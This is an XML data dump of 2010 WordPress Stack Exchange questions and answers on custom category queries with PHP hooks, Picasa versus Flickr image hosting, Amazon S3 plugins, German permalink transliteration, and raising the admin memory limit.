  <row Id="3297" PostTypeId="2" ParentId="3291" CreationDate="2010-10-26T06:09:23.270" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Brian Fidler&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways to solve this problem.  I picked one that may appear more complex but is easier on the theme code, and also self-contained and probably more performant than some other approaches &lt;em&gt;(certainly more performant than doing repeated &lt;code&gt;query_posts()&lt;/code&gt; for each category.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically &lt;strong&gt;I created a class called &lt;code&gt;PostsByCategoryWithPrice&lt;/code&gt;&lt;/strong&gt; where you call the static method &lt;code&gt;query()&lt;/code&gt; to get a list of posts. It also has a helper method called &lt;code&gt;get_category()&lt;/code&gt; to encapsulate the retrieval of the category information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It &lt;strong&gt;returns a list of posts ordered by category name&lt;/strong&gt; so you can loop through them and echo an &lt;code&gt;&amp;lt;h2&amp;gt;{$post_title}&amp;lt;/h2&amp;gt;&lt;/code&gt; every time the category changes. Of course it filters out any without a price. And it uses the &lt;code&gt;get_category_link()&lt;/code&gt; function to remove that complexity from your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how it might look in one of your your theme template files &lt;em&gt;(I didn't have enough of the right data to test this code completely so the column counting may be off a bit, but I did test the query class that it calls and that should be good to go):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$category = PostsByCategoryWithPrice::get_category(0);&#xA;$posts = PostsByCategoryWithPrice::query();&#xA;$column=0;&#xA;foreach($posts as $post) {&#xA;  if ($column++&amp;gt;6)&#xA;    $column = 1;&#xA;  if ($category-&amp;gt;id != $post-&amp;gt;category_id) {&#xA;    $category = PostsByCategoryWithPrice::get_category($post); ?&amp;gt;&#xA;    &amp;lt;h2 style=&quot;clear:both;&quot;&amp;gt;&#xA;      &amp;lt;a href=&quot;&amp;lt;?php echo get_category_link($category-&amp;gt;id); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php echo($category-&amp;gt;name); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/h2&amp;gt;&amp;lt;?php&#xA;  }?&amp;gt;&#xA;  &amp;lt;div class=&quot;span-1 thumb20&amp;lt;?php echo ($count==6 ? ' last' : ''); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;a class=&quot;thumb&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; rel=&quot;bookmark&quot; &#xA;       title=&quot;Link to &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&#xA;      &amp;lt;?php echo the_post_thumbnail( 'thumbnail' ); ?&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;?php&#xA;}?&amp;gt;&#xA;&amp;lt;hr class=&quot;gallery-grid&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next is the class &lt;code&gt;PostsByCategoryWithPrice1&lt;/code&gt;. It used four hooks to modify a &lt;code&gt;WP_Query()&lt;/code&gt;: they are: &lt;code&gt;'posts_fields'&lt;/code&gt;, &lt;code&gt;'posts_join'&lt;/code&gt;, &lt;code&gt;'posts_where'&lt;/code&gt; and &lt;code&gt;'posts_orderby'&lt;/code&gt;. The class looks more complex than some people might be familiar with but it really isn't that complex, it's just there to encapsulate the hooks so they don't affect any other part of your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to use all the hooks and especially the four (4) joins because, while &lt;code&gt;WP_Query()&lt;/code&gt; will do taxonomy and meta joins, it respectively only does so for when you are &lt;em&gt;filtering&lt;/em&gt; by taxonomy and only when you have an exact match for meta_value, not one where &lt;code&gt;NULL&lt;/code&gt; has to be considered &lt;em&gt;(I recently requested that something be added to WordPress core to address the comparison with &lt;code&gt;NULL&lt;/code&gt; and was told it was a good idea by a core team member, but it's not here yet.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PostsByCategoryWithPrice {&#xA;  static $hooks = array();&#xA;  private static function push_action($hook,$callable,$priority=10,$params=1) {&#xA;    self::$hooks[$hook] = $callable;&#xA;    add_action($hook,$callable,$priority,$params);&#xA;  }&#xA;  private static function pop_action($count=1) {&#xA;    for($i=$count; $i&amp;gt;0; $i--) {&#xA;      $hook = end(array_keys(self::$hooks));&#xA;      $callable = array_pop(self::$hooks);&#xA;      remove_action($hook,$callable);&#xA;    }&#xA;  }&#xA;  static function get_category($post=false) {&#xA;    if (!$post)&#xA;      $category = (object)array('id'=&amp;gt;false);&#xA;    else&#xA;      $category = (object)array(&#xA;        'id'    =&amp;gt; $post-&amp;gt;category_id,&#xA;        'name'  =&amp;gt; $post-&amp;gt;category_name,&#xA;        'slug'  =&amp;gt; $post-&amp;gt;category_slug,&#xA;        );&#xA;    return $category;&#xA;  }&#xA;  static function query() {&#xA;    self::push_action('posts_fields',array(__CLASS__,'posts_fields'));&#xA;    self::push_action('posts_join',array(__CLASS__,'posts_join'));&#xA;    self::push_action('posts_where',array(__CLASS__,'posts_where'));&#xA;    self::push_action('posts_orderby',array(__CLASS__,'posts_orderby'));&#xA;    $query = new WP_Query(&quot;posts_per_page=-1&quot;);&#xA;    self::pop_action(4);&#xA;    return $query-&amp;gt;posts;&#xA;  }&#xA;  static function posts_fields($fields) {&#xA;    global $wpdb;&#xA;    $fields .= &quot;,{$wpdb-&amp;gt;terms}.term_id AS category_id,&#xA;                 {$wpdb-&amp;gt;terms}.name AS category_name,&#xA;                 {$wpdb-&amp;gt;terms}.slug AS category_slug&quot;;&#xA;    return $fields;&#xA;  }&#xA;  static function posts_join($join) {&#xA;    global $wpdb;&#xA;    $join .=&amp;lt;&amp;lt;&amp;lt;SQL&#xA;INNER JOIN {$wpdb-&amp;gt;postmeta} &#xA;        ON {$wpdb-&amp;gt;postmeta}.post_id={$wpdb-&amp;gt;posts}.ID &#xA;       AND {$wpdb-&amp;gt;postmeta}.meta_key='price'&#xA;INNER JOIN {$wpdb-&amp;gt;term_relationships} &#xA;        ON {$wpdb-&amp;gt;term_relationships}.object_id={$wpdb-&amp;gt;posts}.ID&#xA;INNER JOIN {$wpdb-&amp;gt;term_taxonomy} &#xA;        ON {$wpdb-&amp;gt;term_taxonomy}.term_taxonomy_id={$wpdb-&amp;gt;term_relationships}.term_taxonomy_id&#xA;INNER JOIN {$wpdb-&amp;gt;terms} &#xA;        ON {$wpdb-&amp;gt;term_taxonomy}.term_id={$wpdb-&amp;gt;terms}.term_id&#xA;SQL;&#xA;    return $join;&#xA;  }&#xA;  static function posts_where($where) {&#xA;    global $wpdb;&#xA;    $where .=&quot;  AND {$wpdb-&amp;gt;term_taxonomy}.taxonomy='category' &#xA;                AND IFNULL({$wpdb-&amp;gt;postmeta}.meta_value,'0')!='0' &quot;;&#xA;    return $where;&#xA;  }&#xA;  static function posts_orderby($orderby) {&#xA;    global $wpdb;&#xA;    $orderby = &quot; {$wpdb-&amp;gt;term_taxonomy}.name,&#xA;                 {$wpdb-&amp;gt;posts}.post_title ASC &quot;;&#xA;    return $orderby;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gist.github.com/646399&quot; rel=&quot;nofollow&quot;&gt;Here is a self-contained example version of the above code&lt;/a&gt; that you can save to the root of your website (as &lt;code&gt;/test.php&lt;/code&gt; maybe?) to test it out for your use-case. Once you get it working you can copy the class into your theme's &lt;code&gt;functions.php&lt;/code&gt; file and/or into a &lt;code&gt;.php&lt;/code&gt; file of a plugin you are building, and use the template code in your theme in a &lt;em&gt;&quot;Page Template&quot;&lt;/em&gt; file (or a custom post type template file) where you want to display these post thumbnails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &lt;strong&gt;download it from Gist&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gist.github.com/646399&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;posts-by-category-with-price.php&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-26T06:09:23.270" />
  <row Id="3298" PostTypeId="1" AcceptedAnswerId="3307" CreationDate="2010-10-26T06:29:46.620" Score="3" ViewCount="249" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; The original title was &quot;Is it good to use picasa web album for images in wordpress blog?&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it good to use Picasa web album for post's images in WordPress blog? What are pros and cons? Which one (Flickr or Picasa) is more suitable for blog post's images? &lt;/p&gt;&#xA;" OwnerUserId="1302" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-26T09:52:01.567" LastActivityDate="2010-10-26T09:52:01.567" Title="Managing Images for a WordPress Blog: Picasa or Flickr?" Tags="&lt;3.0&gt;&lt;images&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="3299" PostTypeId="2" ParentId="3159" CreationDate="2010-10-26T06:36:17.023" Score="1" ViewCount="" Body="&lt;p&gt;I like the plugin Shopp, great ressource and you create custom shops in custom design. Also you have hooks for hook inside the shopp for custom functions: &lt;a href=&quot;http://shopplugin.net/&quot; rel=&quot;nofollow&quot;&gt;http://shopplugin.net/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-10-26T06:36:17.023" />
  <row Id="3300" PostTypeId="2" ParentId="3292" CreationDate="2010-10-26T06:39:15.100" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@inkedmn&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are looking for &lt;strong&gt;sounds taylor-made for &lt;a href=&quot;http://aws.amazon.com/s3/&quot; rel=&quot;nofollow&quot;&gt;Amazon S3&lt;/a&gt;&lt;/strong&gt; as a hosted file service to complement your client's web hosting. It's incredibly cheap &lt;em&gt;(my S3 bill is currently US$0.01 per month, but only for a few files)&lt;/em&gt; and has all sorts of content protection features like special expiring URLs and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wasn't able to find a plugin to do exactly what you are looking for, but you might be able to cobble something together from the features of several of these many Amazon S3 plugins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/amazon-s3-url-generator/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/amazon-s3-url-generator/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-s3/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-s3/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tantan-s3/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tantan-s3/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/wordpress-s3/&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/wordpress-s3/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blogperfume.com/plugin-automatic-wordpress-backup-to-amazon-s3/&quot; rel=&quot;nofollow&quot;&gt;http://www.blogperfume.com/plugin-automatic-wordpress-backup-to-amazon-s3/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wizardstower.co.uk/wordpress/2008/10/25/amazon-s3-plugin-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.wizardstower.co.uk/wordpress/2008/10/25/amazon-s3-plugin-for-wordpress/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://photocritic.org/wordpress-amazon-s3-cdn-plug-in/&quot; rel=&quot;nofollow&quot;&gt;http://photocritic.org/wordpress-amazon-s3-cdn-plug-in/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://imthi.com/wp-s3&quot; rel=&quot;nofollow&quot;&gt;http://imthi.com/wp-s3&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tantannoodles.com/toolkit/wordpress-s3/&quot; rel=&quot;nofollow&quot;&gt;http://tantannoodles.com/toolkit/wordpress-s3/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You also might be able to integrated with &lt;strong&gt;WP-File Manager&lt;/strong&gt; &lt;em&gt;(or even just use it):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-filemanager/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-filemanager/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It actually sounds like a super-fun project; I'm jealous. I need to get one of my client to need something integrated with Amazon S3! :-) Good luck!&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;-Mike &lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-26T06:39:15.100" />
  <row Id="3301" PostTypeId="2" ParentId="3289" CreationDate="2010-10-26T06:42:06.237" Score="1" ViewCount="" Body="&lt;p&gt;You must go about the language functions-interface. See my example for german users: &lt;a href=&quot;http://wordpress-buch.bueltge.de/wp-content/uploads/2010/05/de_DE.phps&quot; rel=&quot;nofollow&quot;&gt;http://wordpress-buch.bueltge.de/wp-content/uploads/2010/05/de_DE.phps&lt;/a&gt;&#xA;We must also build differences on the permalinks for aour charachters in our language&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /* define it global */&#xA;    $umlaut_chars['in']    = array( chr(196), chr(228), chr(214), chr(246), chr(220), chr(252), chr(223) );&#xA;    $umlaut_chars['ecto']  = array( 'Ä', 'ä', 'Ö', 'ö', 'Ü', 'ü', 'ß' );&#xA;    $umlaut_chars['html']  = array( '&amp;amp;Auml;', '&amp;amp;auml;', '&amp;amp;Ouml;', '&amp;amp;ouml;', '&amp;amp;Uuml;', '&amp;amp;uuml;', '&amp;amp;szlig;' );&#xA;    $umlaut_chars['feed']  = array( '&amp;amp;#196;', '&amp;amp;#228;', '&amp;amp;#214;', '&amp;amp;#246;', '&amp;amp;#220;', '&amp;amp;#252;', '&amp;amp;#223;' );&#xA;    $umlaut_chars['utf8']  = array( utf8_encode( 'Ä' ), utf8_encode( 'ä' ), utf8_encode( 'Ö' ), utf8_encode( 'ö' ),utf8_encode( 'Ü' ), utf8_encode( 'ü' ), utf8_encode( 'ß' ) );&#xA;    $umlaut_chars['perma'] = array( 'Ae', 'ae', 'Oe', 'oe', 'Ue', 'ue', 'ss' );&#xA;&#xA;    /* sanitizes the titles to get qualified german permalinks with  correct transliteration */&#xA;    function de_DE_umlaut_permalinks($title) {&#xA;        global $umlaut_chars;&#xA;&#xA;        if ( seems_utf8($title) ) {&#xA;            $invalid_latin_chars = array( chr(197).chr(146) =&amp;gt; 'OE', chr(197).chr(147) =&amp;gt; 'oe', chr(197).chr(160) =&amp;gt; 'S', chr(197).chr(189) =&amp;gt; 'Z', chr(197).chr(161) =&amp;gt; 's', chr(197).chr(190) =&amp;gt; 'z', chr(226).chr(130).chr(172) =&amp;gt; 'E' );&#xA;            $title = utf8_decode( strtr($title, $invalid_latin_chars) );&#xA;        }&#xA;&#xA;        $title = str_replace($umlaut_chars['ecto'], $umlaut_chars['perma'], $title );&#xA;        $title = str_replace($umlaut_chars['in'], $umlaut_chars['perma'], $title );&#xA;        $title = str_replace($umlaut_chars['html'], $umlaut_chars['perma'], $title );&#xA;        $title = sanitize_title_with_dashes($title);&#xA;&#xA;        return $title;&#xA;    }&#xA;add_filter( 'sanitize_title', 'de_DE_umlaut_permalinks' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-10-26T06:42:06.237" CommentCount="6" />
  <row Id="3302" PostTypeId="2" ParentId="3293" CreationDate="2010-10-26T06:46:24.080" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@curtismchale&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't know if this is it or not, but you need to include quotes around &lt;code&gt;foo.php&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once('foo.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does that solve your problem?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-26T06:46:24.080" CommentCount="1" />
  <row Id="3303" PostTypeId="2" ParentId="3298" CreationDate="2010-10-26T08:38:36.323" Score="1" ViewCount="" Body="&lt;p&gt;In terms of functionality / ease of use there isn't much difference both have a selection of great plugins. I've only really had experience with the Flickr API but it was really easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside with Flickr is that if you do not have a 'pro' account you can only have 200 shots available in your account (when you over run this they are hidden). A pro account is $25 per year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside with Picasso is that it doesn't have the same community that flickr has. If you're clever on Flickr you can drive traffic back to your blog by being involved in flickr groups / commenting etc &amp;amp; mentioning your site in your image descriptions.&lt;/p&gt;&#xA;" OwnerUserId="1298" LastActivityDate="2010-10-26T08:38:36.323" CommentCount="2" />
  <row Id="3304" PostTypeId="2" ParentId="3298" CreationDate="2010-10-26T09:03:11.160" Score="1" ViewCount="" Body="&lt;p&gt;It really depends on what you're trying to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all you want to do is serve up your own images, then both are about the same - flickr has a limitation on the free account, picasa's free offering is limited to 1GB of images. You might as well look at photobucket as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're after something more (eg tag based image aggregation, some community around your images, etc), then flickr is probably the better bet, although you'll find you may need up upgrade to the pro offering.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2010-10-26T09:03:11.160" />
  <row Id="3305" PostTypeId="1" AcceptedAnswerId="3317" CreationDate="2010-10-26T09:21:17.380" Score="5" ViewCount="595" Body="&lt;p&gt;I'm building a site for a photographer who uploads pictures that are normally large for todays digital cameras. Images are quite memory intensive, especially the image operations like creating thumbnails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I wanted to raise the memory limit in the admin above 256MB - how can this be done? I allowed CGI and PHP to use up to 1 Gigabyte but wordpress always decreases the memory to 256MB. Any idea how to fix that on a client side that needs to be able to auto-update?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; &lt;a href=&quot;http://hakre.wordpress.com/2011/05/05/wordpress-memory-limit-fixed-in-3-2/&quot; rel=&quot;nofollow&quot;&gt;From Wordpress 3.2 ongoing the maximum memory limit in Wordpress will be configure-able again&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-05-05T09:24:30.513" LastActivityDate="2011-06-08T00:04:51.587" Title="How to use more than 256MB of memory in the admin?" Tags="&lt;3.0&gt;&lt;admin&gt;&lt;memory&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="2" />
  <row Id="3306" PostTypeId="2" ParentId="3305" CreationDate="2010-10-26T09:41:15.367" Score="0" ViewCount="" Body="&lt;p&gt;By your description I think this code in &lt;code&gt;admin.php&lt;/code&gt; is the issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( current_user_can( 'manage_options' ) )&#xA;    @ini_set( 'memory_limit', apply_filters( 'admin_memory_limit', '256M' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Somewhat strange that it treats admin memory usage separately, but at least it is filterable.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-26T09:41:15.367" CommentCount="1" />
  <row Id="3307" PostTypeId="2" ParentId="3298" CreationDate="2010-10-26T09:49:04.733" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Brij&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both &lt;em&gt;@George Wiscombe&lt;/em&gt; and &lt;em&gt;@anu&lt;/em&gt; have good suggestions. To elaborate though, I'd say it depends on one of the following criteria:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Do you plan to write programs using one of their API?&lt;/strong&gt;  If yes, review their APIs and pick the one you are most confortable with. Here are their APIs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.flickr.com/services/api/&quot; rel=&quot;nofollow&quot;&gt;Flickr's App Garden API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/apis/picasaweb/overview.html&quot; rel=&quot;nofollow&quot;&gt;Picasa Web Albums Data API&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Is Free important to you?&lt;/strong&gt; - If free is important to you and you will be uploading more than 100Mb of images per month but not maintaining more than 1GB at any one time them go with Picasa. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you Free is not critical but &lt;strong&gt;As Cheap As Possible is important&lt;/strong&gt; &lt;a href=&quot;http://picasa.google.com/support/bin/answer.py?hl=en&amp;amp;answer=39567&quot; rel=&quot;nofollow&quot;&gt;Google sells 5Gb additional for US$5/year, each 5Gb&lt;/a&gt;. Flickr doesn't limit storage but instead limits uploading bandwidth, and is $25/year for unlimited uploading.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm pretty sure there are &lt;strong&gt;More 3rd Party Tools for Managing Photos for Flickr&lt;/strong&gt; than for Picasa, so if you think 3rd party tools are a killer feature, go with Flickr.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;If none of those other issues are important&lt;/strong&gt; and your are just going to grab the image URLs to link to them, &lt;strong&gt;just choose the one you like the most&lt;/strong&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;BTW, if I were choosing I'd choose Flickr. I also wrote this to show up a few weeks ago to show someone &lt;strong&gt;How To Automate a Daily Picture Blog using Flickr&lt;/strong&gt;. You might find it to be helpful too:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/2830/automating-a-daily-picture-blog&quot;&gt;Automating a Daily Picture Blog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-26T09:49:04.733" CommentCount="1" />
  <row Id="3308" PostTypeId="1" CreationDate="2010-10-26T10:44:57.260" Score="0" ViewCount="380" Body="&lt;p&gt;It will be difficult to explain what I need in words, so please see a live demo of the horizontal navigation menu here, &lt;a href=&quot;http://cn.wsj.com/gb/index.asp&quot; rel=&quot;nofollow&quot;&gt;http://cn.wsj.com/gb/index.asp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to replicate it for wordpress categories. The top menu should always show parent categories, and the drop down should show children of the parent category currently highlighted. So far I have this code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;nav&quot;&amp;gt;&#xA;    &amp;lt;li &amp;lt;?php if(is_home()) {echo 'class=&quot;current_page_item&quot;';}?&amp;gt;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php wp_list_categories('orderby=name&amp;amp;depth=1&amp;amp;title_li='); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php&#xA;    $cat = get_query_var('cat');&#xA;    $category = get_category ($cat);&#xA;    $categories = get_the_category();&#xA;&#xA;    $subcat = get_the_category();&#xA;    $parentCatName = get_cat_name($subcat[0]-&amp;gt;parent);&#xA;    $category_id = get_cat_ID( &quot;$parentCatName&quot; );&#xA;&#xA;    function post_is_in_descendant_category( $cats, $_post = null )&#xA;    {&#xA;        foreach ( (array) $cats as $cat ) {&#xA;            // get_term_children() accepts integer ID only&#xA;            $descendants = get_term_children( (int) $cat, 'category');&#xA;            if ( $descendants &amp;amp;&amp;amp; in_category( $descendants, $_post ) )&#xA;                return true;&#xA;        }&#xA;        return false;&#xA;    }&#xA;&#xA;    if ($category-&amp;gt;cat_ID) {&#xA;        if($category-&amp;gt;category_parent) {&#xA;            //Displays subcategories on subcategory index&#xA;            $children = wp_list_categories(&quot;orderby=id&amp;amp;hide_empty=0&amp;amp;title_li=&amp;amp;child_of=&quot;.$category-&amp;gt;category_parent.&quot;&amp;amp;echo=0&quot;);&#xA;        }&#xA;            else {&#xA;                //Display subcategories on parent category index&#xA;                $children = wp_list_categories(&quot;orderby=id&amp;amp;hide_empty=0&amp;amp;title_li=&amp;amp;child_of=&quot;.$category-&amp;gt;cat_ID.&quot;&amp;amp;echo=0&quot;);&#xA;            }&#xA;        if ($children) { ?&amp;gt;&#xA;            &amp;lt;ul id=&quot;subnav&quot;&amp;gt;&#xA;              &amp;lt;?php echo $children; ?&amp;gt; &#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;?php }&#xA;    }&#xA;    elseif (is_single() &amp;amp;&amp;amp; (post_is_in_descendant_category($category_id)) &amp;amp;&amp;amp; $categories[0]-&amp;gt;category_parent == $category_id ) { ?&amp;gt;&#xA;        &amp;lt;ul id=&quot;subnav&quot;&amp;gt;&#xA;            &amp;lt;?php            &#xA;                $category = get_the_category();&#xA;                $cat_term_id = $category[0]-&amp;gt;term_id;&#xA;                $cat_category_parent = $category[0]-&amp;gt;category_parent;&#xA;                $listcat = wp_list_categories('echo=0&amp;amp;child_of='.$cat_category_parent.'&amp;amp;title_li=');&#xA;                $listcat = str_replace(&quot;cat-item-&quot;.$cat_term_id, &quot;cat-item-&quot;.$cat_term_id.&quot; current-cat&quot;, $listcat);&#xA;                if ( in_category( $cat_term_id ) || post_is_in_descendant_category( $cat_category_parent )) {&#xA;                    echo $listcat;&#xA;                }&#xA;            ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the issue is how to make the hover thing work. Please help. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1349" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-09T15:17:41.923" LastActivityDate="2011-02-09T17:31:00.550" Title="Horizontal drop down category with hover effect working" Tags="&lt;css&gt;&lt;menus&gt;&lt;coding&gt;&lt;support&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="3309" PostTypeId="2" ParentId="3305" CreationDate="2010-10-26T12:41:40.310" Score="1" ViewCount="" Body="&lt;p&gt;There are &lt;code&gt;@ini_set('memory_limit', '256M');&lt;/code&gt; before images are loaded in memory by GD functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;imagecreatefromstring()&lt;/code&gt; (line 253, wp-includes/media.php) is used by &lt;code&gt;wp_load_image()&lt;/code&gt; which is used by &lt;code&gt;image_resize&lt;/code&gt; (the function were the images processing is done for thumbnails creation).&#xA;The memory limit is at line 252, so, as far as I can see, there is no way to do modify it without killing a kitten* &gt;:).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also GD functions in &lt;code&gt;load_image_to_edit()&lt;/code&gt; (line 200, wp-admin/includes/image-edit.php). This one is used by the image editor (I neved used it, since I know WordPress, didn't even know were to find it :)). If your client use it, you may want to set the memory limit there also. There is the filter &lt;code&gt;load_image_to_edit_path&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope my answer is helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*hacking core&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-26T12:41:40.310" CommentCount="1" />
